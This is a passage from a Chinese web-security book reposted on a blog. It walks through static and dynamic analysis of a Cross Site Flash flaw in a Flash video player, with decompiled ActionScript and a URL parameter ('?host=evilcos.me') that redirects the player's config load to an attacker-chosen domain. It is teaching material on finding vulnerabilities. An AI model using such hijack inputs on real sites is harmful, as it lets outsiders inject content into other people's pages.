XSF挖掘思路
XSF即Cross Site Flash。
很多網站的Flash播放器都會有XSF風險,因為這些播放器需要能夠靈活載入第三方Flash資源進行播放。不過這樣的XSF風險其實非常小,因為瀏覽器直接訪問Flash檔案時,安全沙箱的限制是很嚴格的。所以,下面分析的nxtv flash player只需瞭解思路即可,這樣的XSF漏洞在這樣的場景下毫無價值,有價值的是思路。
漏洞檔案:
分析方法分為靜態分析和動態分析。
1.靜態分析
我們可以使用SWFScan圖形化介面或者用swfdump命令列工具進行反編譯得到ActionScript程式碼,這兩個工具都很不錯,下面以SWFScan為例進行說明。
如圖6-5所示為SWFScan介面截圖,在Properties欄中可以看到這是用AS2編寫的Flash。AS2有全域性變數覆蓋風險,這個SWFScan對我們來說,最大的價值就是Source欄的原始碼,其他功能一般不用,用肉眼掃過原始碼,在反編譯出來的原始碼中發現下面一段程式碼。
圖6-5 SWFScan介面截圖
var myXML = new XML();
var __callResult_162 = myXML.load(( ( "http://" + _root.host ) + "/load.php?action=playerad" ));
myXML.ignoreWhite = True;
myXML.onLoad = function (success) {
type = myXML.childNodes.0.childNodes.0.childNodes.0.nodeValue;
adurl = myXML.childNodes.0.childNodes.1.childNodes.0.nodeValue;
_global.sec = Number(myXML.childNodes.0.childNodes.2.childNodes.0. nodeValue) ;
std = myXML.childNodes.0.childNodes.3.childNodes.0.nodeValue;
if ( ( std == 1 ) ) {
if ( ( type == 1 ) ) {
mp1.contentPath = ( ( ( "http://" + _root.host ) + "/" ) + adurl );
var __callResult_267 = mp1.play();
首先載入遠端XML檔案,這個功能是AS經常使用的,因為該功能非常方便,使用簡單,且XML可配置性很高。後面的很多功能都會用到XML檔案裡的相關資料,如果能劫持這個XML,就能劫持之後的很多操作。
這裡載入遠端XML檔案是可劫持的:_root.host,這樣的全域性變數可以直接透過URL方式提交,如:
?host=evilcos.me
此時遠端XML檔案為:
內容如圖6-6所示。
圖6-6 遠端XML內容
這樣的XML結構和原始的是一致的,只是我們把內容替換為自己惡意構造的,之後mp1.play();的contentPath值( ( ( "http://" + _root.host ) + "/" ) + adurl );變為:
這樣就載入了第三方Flash進行播放,從而造成XSF攻擊。
其實,完全靜態地用肉眼分析是不太容易的,很多時候我們還會結合動態方式進行分析,比如在Firefox下Firebug的網路請求中發現一些額外的請求,更能清晰地理解目標Flash的執行流暢。
2.動態分析
Firebug網路資料如圖6-7所示。
圖6-7 Firebug網路資料
注意,載入第三方資源時需要第三方域的根目錄下有crossdomain.xml檔案,並且授權這樣的跨域請求。順便說一下,如果是直接載入第三方Flash檔案,則不需要crossdomain.xml的授權。
本文節選自《web前端駭客技術揭秘》
鍾晨鳴,徐少培編著
電子工業出版社出版
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/13164110/viewspace-754458/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- PHP漏洞挖掘思路+例項PHP
- 用 Google 挖掘賺錢思路Go
- IIS短檔名漏洞原理與挖掘思路
- PHP漏洞挖掘思路+例項 第二章PHP
- win32k.sys漏洞挖掘思路解讀Win32
- 某知名系統漏洞挖掘與利用思路探索
- 如何挖掘班組潛能?北京精益生產諮詢公司給你思路
- 資料分析與挖掘-挖掘建模
- 日誌挖掘-對於DML操作的挖掘
- 指令碼漏洞挖掘技巧基於工具快速挖掘指令碼
- 日誌挖掘-對於DDL語句的挖掘
- 日誌挖掘
- 使用日誌挖掘來挖掘TX等待的事務
- 【挖掘篇】:文字分析
- 漏洞挖掘的藝術-面向原始碼的靜態漏洞挖掘原始碼
- 資料解讀挖掘機租賃和二手挖掘機
- Logminer日誌挖掘
- 日誌挖掘的方法
- 區塊鏈挖掘——序言區塊鏈
- 當資料遇到挖掘
- logminr 日誌挖掘
- logmnr 日誌挖掘
- 日誌挖掘 log miner
- 歸檔日誌挖掘
- 挖掘性質初步成型
- 過程挖掘(Process Mining Manifesto):從日誌中挖掘知識
- 文字挖掘之情感分析(一)
- DM8 日誌挖掘
- 文字挖掘的分詞原理分詞
- 深度挖掘 Laravel 生命週期Laravel
- ORACLE LOGMNR 日誌挖掘Oracle
- 挖掘Emacs Imenu的潛力Mac
- ORACLE logminer 日誌挖掘Oracle
- redo log日誌挖掘(二)
- redo log日誌挖掘(一)
- 【文字挖掘】(三)文字表示
- 新思路
- JSONP挖掘與高階利用JSON